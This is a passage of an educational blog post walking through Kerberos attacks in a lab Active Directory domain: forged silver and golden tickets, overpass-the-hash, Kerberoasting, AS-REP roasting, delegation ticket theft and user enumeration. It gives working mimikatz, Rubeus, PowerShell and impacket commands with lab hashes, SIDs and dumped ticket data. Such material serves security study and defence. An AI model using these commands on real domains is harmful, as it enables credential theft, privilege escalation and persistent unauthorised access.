hexlify(struct.pack('<L',buffint)) buffint = int(buffstr,16) buff.append(buffint) pacInfoList = buff authDataLength = pacInfoList[1] authDataOffset = pacInfoList[2] authDataEnd = (authDataLength * 2) - 40 offsetStart = 24 + authDataOffset*2 authDataHex = pacBufferHex[offsetStart:offsetStart+authDataEnd] print "------------------- PAC Data ------------------" finalValidationInfo = VALIDATION_INFO() finalValidationInfo.fromStringReferents(unhexlify(authDataHex)) finalValidationInfo.dump() Output is VALIDATION_INFO CommonHeader: Version: 1 Endianness: 16 CommonHeaderLength: 8 Filler: 3435973836 PrivateHeader: ObjectBufferLength: 0 Filler: 3435973836 Data: LogonTime: dwLowDateTime: 2905707874 dwHighDateTime: 30808641 LogoffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 KickOffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordLastSet: dwLowDateTime: 3611792846 dwHighDateTime: 30806234 PasswordCanChange: dwLowDateTime: 28399054 dwHighDateTime: 30806436 PasswordMustChange: dwLowDateTime: 3433108942 dwHighDateTime: 30814683 EffectiveName: u'win10user' FullName: u'' LogonScript: u'' ProfilePath: u'' HomeDirectory: u'' HomeDirectoryDrive: u'' LogonCount: 79 BadPasswordCount: 0 UserId: 1104 PrimaryGroupId: 513 GroupCount: 1 GroupIds: [ RelativeId: 513 Attributes: 7 , ] UserFlags: 32 UserSessionKey: Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' LogonServer: u'DC' LogonDomainName: u'JNKFO' LogonDomainId: Revision: 1 SubAuthorityCount: 4 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 3178339118, 3033626349, 2532976716, ] LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00' UserAccountControl: 16 SubAuthStatus: 0 LastSuccessfulILogon: dwLowDateTime: 0 dwHighDateTime: 0 LastFailedILogon: dwLowDateTime: 0 dwHighDateTime: 0 FailedILogonCount: 0 Reserved3: 0 SidCount: 1 ExtraSids: [ Sid: Revision: 1 SubAuthorityCount: 1 IdentifierAuthority: '\x00\x00\x00\x00\x00\x12' SubAuthority: [ 1, ] Attributes: 7 , ] ResourceGroupDomainSid: NULL ResourceGroupCount: 0 ResourceGroupIds: NULL It’s up to the service to use this information to validate the user’s privileges, impersonate, or delegate the logged-on user. As you also noticed earlier, the PAC can be found only on the TGT and the TGS, mean that in the 1st case it’s encrypted with the krbtgt key, and the other it’s encrypted using the service key. So there is no way for the user to manipulate the PAC without getting any of these couple keys, this will come handy later. PAC is rarely required to validate the TGS data. if it was used for validation, an extra request is made by the server to the KDC to validate the ticket’s info. You can obtain any user’s PAC using python getPac.py -targetUser administrator jnkfo.lab/win10user:”P@ssw0rd” or using Kekeo tgt::ask /user:win10user@jnkfo.lab /password:P@ssw0rd tgs::s4u /tgt:TGT_win10user@jnkfo.lab@JNKFO.LAB_krbtgt~jnkfo.lab@JNKFO.LAB.kirbi /user:administrator /pac Kerberos attacks Silver ticket If you noticed the Kerberos authentication flow, you should have noticed that we split it into 2 parts summarized in the following image The 1st part, Client <—> KDC This part resulted in the Client has a copy of the TGS which is encrypted using the service’s key along with the plaintext Service session key Timestamp Lifetime Service name The 2nd part, Client <–> Service, This is the more interesting part for the silver ticket. To authenticate to the service, the client sends a copy of the TGS which is encrypted using the service key as prementioned (Message E) and contains Service session key Username Timestamp Lifetime PAC information and the authenticator message (message G) which is encrypted using the Service session key and contains username Timestamp So the actual service authentication part starts at step 5, and all it’s needed is the service secret key. if you have a service secret key, you may just create a random session key, add it to your own Service ticket, encrypt it with the service’s secret, and send it to the service while authenticating. As all the service will do is just trying to decrypt that ticket with its own key, which will work because it’s the same key you used while encrypting the ticket, then use the session key (which you generated) to decrypt the authenticator message as prementioned! That’s how easy it’s A demo will make it easier, I have win10 machine key, will use it to create a silver ticket to access it without even making a single connection to the KDC! This is the current tickets in that session, and am getting access denied whenever accessing SMB over my machine. To create ticket I will use mimikatz kerberos::golden /user:administrator /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /target:win10.jnkfo.lab /rc4:1ad9c160bd7ab9cb4b7c890c96862305 /service:cifs user: Username, this can be any user, even invalid one will work. domain: The domain name sid: Domain sid, can be obtained via many methods, whoami /user is one. target: Target machine rc4: NTLM hash of the target service Service: The service name, cifs as am accessing filesharing service Executing this will result in and no Kerberos packets are sent to the KDC, as you don’t need to talk to KDC at all, You got your own TGS and that’s all. So you’ll find that only the ticket and authenticator were sent directly to the target machine. If you checked the ticket’s PAC you’ll find VALIDATION_INFO CommonHeader: Version: 1 Endianness: 16 CommonHeaderLength: 8 Filler: 3435973836 PrivateHeader: ObjectBufferLength: 0 Filler: 3435973836 Data: LogonTime: dwLowDateTime: 3283888000 dwHighDateTime: 30809500 LogoffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 KickOffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordLastSet: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordCanChange: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordMustChange: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 EffectiveName: u'administrator' FullName: NULL LogonScript: NULL ProfilePath: NULL HomeDirectory: NULL HomeDirectoryDrive: NULL LogonCount: 0 BadPasswordCount: 0 UserId: 500 PrimaryGroupId: 513 GroupCount: 5 GroupIds: [ RelativeId: 513 Attributes: 7 , RelativeId: 512 Attributes: 7 , RelativeId: 520 Attributes: 7 , RelativeId: 518 Attributes: 7 , RelativeId: 519 Attributes: 7 , ] UserFlags: 0 UserSessionKey: Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' LogonServer: NULL LogonDomainName: u'JNKFO' LogonDomainId: Revision: 1 SubAuthorityCount: 4 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 3178339118, 3033626349, 2532976716, ] LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00' UserAccountControl: 528 SubAuthStatus: 0 LastSuccessfulILogon: dwLowDateTime: 0 dwHighDateTime: 0 LastFailedILogon: dwLowDateTime: 0 dwHighDateTime: 0 FailedILogonCount: 0 Reserved3: 0 SidCount: 0 ExtraSids: NULL ResourceGroupDomainSid: NULL ResourceGroupCount: 0 ResourceGroupIds: NULL # The userid: 500, which is the default local administrator account’s id, and the domain admins group id 512. So basically the ticket will tell the service that you have an admin’s account over the machine, no matter what username you used. Golden ticket Back to the same figure The golden ticket is all about the TGT, if you remember, the TGT (Message is the info needed by the KDC to issue you the service ticket you need. If a user with a valid TGT asks to access any service, KDC ill grant him that access. Golden ticket attack takes part in step 3 (TGS-REQ). The TGT is encrypted using the KRBTGT account, KDC will decrypt this and issue the service ticket with the same group memberships and validation info found in the TGT. So, if you have the KRBTGT hash, you can forge your own TGT which includes the PAC data with any group membership you want! including domain admins! sending this to the KDC will result in a service ticket with a domain admin group membership inside! let’s give this a try using mimikatz kerberos::golden /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /rc4:53de9e86989349da8d705da4e238dede /user:invalidusername /ticket:golden.kirbi /ptt No new options here just removed the /service option used in the silver ticket. I will try to dir the c$ on the domain controller which requires a domain admin to do so. You will notice that the TGS-REQ and TGS-REP messages were sent and received to and from the KDC before moving to the target machine, and that’s a difference between the silver and golden ticket in the golden ticket you’re not restricted to a single service, you got the KRBTGT, you can create your own TGT, so you can create a TGS for whatever service you want If we viewed the ticket’s contents we will find the following PAC inside CommonHeader: Version: 1 Endianness: 16 CommonHeaderLength: 8 Filler: 3435973836 PrivateHeader: ObjectBufferLength: 0 Filler: 3435973836 Data: LogonTime: dwLowDateTime: 2159116928 dwHighDateTime: 30809507 LogoffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 KickOffTime: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordLastSet: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordCanChange: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 PasswordMustChange: dwLowDateTime: 4294967295 dwHighDateTime: 2147483647 EffectiveName: u'invalidusername' FullName: NULL LogonScript: NULL ProfilePath: NULL HomeDirectory: NULL HomeDirectoryDrive: NULL LogonCount: 0 BadPasswordCount: 0 UserId: 500 PrimaryGroupId: 513 GroupCount: 5 GroupIds: [ RelativeId: 513 Attributes: 7 , RelativeId: 512 Attributes: 7 , RelativeId: 520 Attributes: 7 , RelativeId: 518 Attributes: 7 , RelativeId: 519 Attributes: 7 , ] UserFlags: 0 UserSessionKey: Data: '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' LogonServer: NULL LogonDomainName: u'JNKFO' LogonDomainId: Revision: 1 SubAuthorityCount: 4 IdentifierAuthority: '\x00\x00\x00\x00\x00\x05' SubAuthority: [ 21, 3178339118, 3033626349, 2532976716, ] LMKey: '\x00\x00\x00\x00\x00\x00\x00\x00' UserAccountControl: 528 SubAuthStatus: 0 LastSuccessfulILogon: dwLowDateTime: 0 dwHighDateTime: 0 LastFailedILogon: dwLowDateTime: 0 dwHighDateTime: 0 FailedILogonCount: 0 Reserved3: 0 SidCount: 0 ExtraSids: NULL ResourceGroupDomainSid: NULL ResourceGroupCount: 0 ResourceGroupIds: NULL # Note the userid: 500, which is the default local administrator account, and the domain admins group id 512. KDC will send this info with the TGS to the client, who will send in turn to the service while accessing. Now by knowing about the timestamp and the lifetime of the ticket along with the info that KRBTGT account pasword isn’t usually changed frequently in AD environments, can you figure out why the golden ticket is considered as long term persistence method? Overpass the hash In some cases, if you got the user’s hash you may not be able to crack it or use it in pass the hash attack for many reasons. example: disabled ntlm authentication In this case, if you used the pass the hash technique sekurlsa::pth /user:win10user /domain:jnkfo.lab /ntlm:e19ccf75ee54e06b06a5907af13cef42 and tried accessing the machine directly, You’ll fail But knowing how Kerberos works, you know that by having the user’s key you may just go through the whole Kerberos authentication process. Without bothering using the NTLM challenge-response auth. The attack was implemented in mimikatz already and can be used also via impacket examples To use it via mimikatz, all you will need to do is connecting to the target’s hostname instead of the direct IP, this will force Windows to use Kerberos instead of NTLM auth (Remember?!!!). Obviously, overpass the hash take place since the AS-REQ step. That’s how easy it’s Kerbroasting I mentioned earlier, that Kerberos authentication itself is all about authentication, not authorization If you got a valid domain user, you may just ask the KDC to issue you a valid TGS for any service. Knowing the fact that SPN attributes can be set to a specific username, and that the TGS is encrypted using service’s key (user’s key in that case) We can issue a TGS ticket on our own machine, dump the ticket and start an offline bruteforce attack against it to retrieve the plaintext password for that user (service account)! This has been discussed already at the following blog post Let’s go through the process manually, I will connect to mssql service at win2012.jnkfo.lab and view the list after establishing the connection The current user, win10user has no privs at the MSSQL DBS at all, and actually, we don’t need that as I mentioned Kerberos is all about authentication, so even low privs valid user will be able to issue a TGS for any service. That’s one way to do it, but it’s not practical, so let’s check out a better one using only native windows stuff. Listing the SPNs related to that machine will result in C:\Users\win10user>setspn -F -Q */win2012* Checking forest DC=jnkfo,DC=lab CN=WIN2012,CN=Computers,DC=jnkfo,DC=lab WSMAN/win2012 WSMAN/win2012.jnkfo.lab RestrictedKrbHost/WIN2012 HOST/WIN2012 RestrictedKrbHost/win2012.jnkfo.lab HOST/win2012.jnkfo.lab CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab MSSQLSvc/win2012.jnkfo.lab:1433 CN=dummy1,CN=Users,DC=jnkfo,DC=lab mssqlsvc/win2012 xxxxx/win2012 Existing SPN found! C:\Users\win10user> As an attacker you will need to focus on the CN=users part, these are the crackable ones as their passwords are chooses by humans unlike the randomly generated machine keys. Issue ticket for mssqlserver’s SPN using Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList "MSSQLSvc/win2012.jnkfo.lab:1433" So dumping the current ticket using kerberos::list /export will result in knowing that the ticket is encrypted using service key, you’re ready to go and start offline cracking, for sake of illustration am using john Cool, again this isn’t the best approach for Kerbroasting (when it come to simplicity), invoke-kerbroast would do everything in a blink of an eye, but I just needed to show you how the process is done. Refer to the following blog post for more information and references regarding Kerbroasting. AS-REP Roasting Before Kerberos 5, you wouldn’t see something such as KRB5KDC_ERR_PREAUTH_REQUIRED, as the preauthentication step wasn’t required. Things were a little bit different. In kerberos5 this is how the 1st few steps of authentication are done The preauthentication step is required, means the client is the part who’s using the user’s hash to encrypt the timestamp. This is the default option in Kerberos 5 But in kerberos4, and also in Kerberos 5 after modifying some options, this is what’s going on. Once the client ask for authentication and provides username, the KDC retrieve that user’s hash and use it to encrypt a message, then send this message back to the client!!!!! Now the client ca simply start an offline brute-force attack against that encrypted part. This happens in Kerberos 5 (modern AD) when the following option is enabled The “Do not require Kerberos preauthentication” option isn’t enabled by default, but once it’s ticked, this is what’s happening when you login using that user No preauthentication requests, the KDC just encrypted the timestamp, TGS name, TGS session key, and lifetime using user’s hash. Now the attacker can simply do an offline brute-force and retrieve the user’s plaintext password. It’s easy to get the users with “Do not require Kerberos preauthentication” enabled using get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True"} | select Name Attacking these users is easy using Rubeus or using getnpusers.py getnpusers.py can use a wordlist of usernames and try to obtain a crackable hashes for these users with the “Do not require Kerberos preauthentication” option enabled. python GetNPUsers.py jnkfo.lab/ -usersfile userslist.txt -format john -outputfile roasted.txt -no-pass -dc-ip 192.168.18.2 Unconstrained Delegation Delegation is the act of Service impersonating User to access another Service Imagine a web application is used to manage shared folders for employees, The employee logs in and he can view, edit, or delete his files which are found in another server. So, Employee 1 login to the Web server using the HTTP service ticket, Now the Web application needs to access the File sharing server as Employee 1 to receive his files! To do so, it needs to get a TGS for the File sharing service, But with Employee1’s username inside! That’s where delegation plays a part. When enabled, delegation allows employee 1 to send his own TGT to the webserver, so the web service can use it to obtain a TGS on behave of employee 1 to access the file sharing service. The same goes for employees 2, 3, 4 …ETC Knowing so, once you compromise a machine with delegation option enabled You can dump the TGTs of the users who used any service on that machine, then abuse these TGTs to act on behave of these users. getting employee1’s TGT will allow you to issue a TGS for any service on behave of employee1, and so accessing the services he has access to. The TGT transferring part was a little bit confusing for me, many resources declared that it’s “inside” the TGS, which I found out it’s not correct at all. Many others just stating that the TGT and the TGS are being passed to the server, which isn’t enough info!! so I will explain it as well, maybe someone is looking for it the same as I did. This is how it looks like when connecting to a machine configured for unconstrained delegation You will notice 2 TGS-REQ, The 1st 1 is for the service we’re trying to access (CIFS) The other one is for the krbtgt This is the one that the server will be able to use, it’s for getting services tickets on behalf of the user. The client will take the krbtgt TGS and embed it inside the authenticator message. I assume you remember how the authenticator is encrypted and decrypted. It’s encrypted using the service session key, which can be found inside the TGS, which can only be decrypted using the service account’s key. So the client will send the 1st TGS-REP, which is the service ticket And the Authenticator message which has the 2nd TGS-REP (TGT) inside. The service will decrypt the TGS, obtain service session key, then use the service session key to decrypt the authenticator message and obtain the user’s TGT [krb_cred]. It caches it then for later use. This can be summarized in the following pic, which takes place after the 1st TGS-REP received 2nd TGS-REP message (TGT) is 005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5 Authenticator message after decryption is Sequence: field-0=5 field-1=JNKFO.LAB field-2=Sequence: field-0=1 field-1=SequenceOf: win10user field-3=Sequence: field-0=32771 field-1=0x10000000000000000000000000000000000000002300000001001a057682051630820512a003020105a103020116a282040730820403618203ff308203fba003020105a10b1b094a4e4b464f2e4c4142a21e301ca003020102a11530131b066b72627467741b094a4e4b464f2e4c4142a38203c5308203c1a003020112a103020103a28203b3048203af005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5a381fa3081f7a003020112a281ef0481ec6556782acbf0b4f78002c3af3a7ecf35e7a18aad30a52603763b8cf600f5eb6fc830afb3e6c61f694158b5a5209059b61a9a16f4c8dcc1191a3b188ac766c0d613af144454d0682063ceb3f4ab07b0cdee1354d37f3b6ff88fee70321c6d57ded89c6efc6f92af5cac42525730636b253d0b8a357183dbfc09d0d8ca75da7ecdaee3574c50bc31b54a2c0b3139e92d5c973cd26a8fb7581d479d74cbee5f552bb6c7a791bdf8ef575646d16af7f3134282d5edbc0272c53da2887af0dce6ba2935d237a9a26eef4df3720ffa7154970a0de4aafa16a5b8c43e33303ac0c52eb78c05d0c0f8b11546c9f672dc field-4=468 field-5=20200501014535Z field-6=Sequence: field-0=18 field-1=0x52852d5447e40ee95df24c67e8400cf79f1146df958d29d3205fe8689a55325c field-7=900366966 field-8=SequenceOf: Sequence: field-0=1 field-1=0x3081b9303fa0040202008da137043530333031a003020100a12a0428010000000020000047a9dfdb7f739b0e5720ff9a17c3534c94c937ef0b55329c007b8ce1204dfac3301aa0040202008ea1120410a01978ab0a0200002b9d850300000000300ea0040202008fa106040400400000304aa00402020090a142044063006900660073002f00770069006e0032003000310032002e006a006e006b0066006f002e006c006100620040004a004e004b0046004f002e004c0041004200 You will find that the KRB_CRED is embedded inside The authenticator checksum field SHALL have the following format: Octet Name Description ----------------------------------------------------------------- 0..3 Lgth Number of octets in Bnd field; Represented in little-endian order; Currently contains hex value 10 00 00 00 (16). 4..19 Bnd Channel binding information, as described in section 4.1.1.2. 20..23 Flags Four-octet context-establishment flags in little-endian order as described in section 4.1.1.1. 24..25 DlgOpt The delegation option identifier (=1) in little-endian order [optional]. This field and the next two fields are present if and only if GSS_C_DELEG_FLAG is set as described in section 4.1.1.1. 26..27 Dlgth The length of the Deleg field in little-endian order [optional]. 28..(n-1) Deleg A KRB_CRED message (n = Dlgth + 28) [optional]. n..last Exts Extensions [optional]. Reference So assuming I compromised the machine win2012.jnkfo.lab, you will be able to dump all the TGTs Not just for the users who accessed the web service, but for any user who accessed any service used within the machine (web server). This can be done via mimikatz sekurlsa::tickets /export or using .\Rubeus.exe monitor /interval:1 To abuse this you can use kerberos::ptt ticket.kirbi at your attacking machine So am using this to try accessing windows 10 machine, this pic show the action before and after passing the ticket. Constrained delegation To be discussed in a separated blog post User enumeration If you tried authenticating using invalid username, Kerberos will kill the process in the preauthentication step and you will get the following error You can depend on that for enumerating domain users without even being part of the domain! Practically this is very useful in many situations, as all you need is being able to connect to the KDC. You can get the valid usernames which would save you tons of rime while bruteforcing services, along with the users with no preauth required. That would give you a good foothold in many situations. Conclusion Woooo, finally it’s over. I supposed to separate this blog into 2 or 3 parts but found out that it may be better to put as much as techniques as I can into a single post in order not to get lost between many parts related to the same topic. I’ve discussed how Kerberos works, tried to explain it as much as I can, discussed most of the attacks directly related to Kerberos authentication. I tried to be straight to the point as much as I can along with illustrating the stuff that was once confusing to me, hopefully, I succeded doing so. Probably I will continue with this series, so if you guys have any comments or suggestions, or found sth wrong in this blog post (Am sure I missed something around), feel free to reach me at @0x4148 Till next time, Ahmed References How the Kerberos Version 5 Authentication Protocol Works Kerberos Authentication Overview Kerberos for the Busy Admin Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol SPNs Kerberos Principal Name Canonicalization and Cross-Realm Referrals The Kerberos Version 5 Abusing Kerberos And almost every single blog at posts.specterops.io Sursa: https://blog.redforce.io/windows-authentication-attacks-part-2-kerberos/#disqus_thread Quote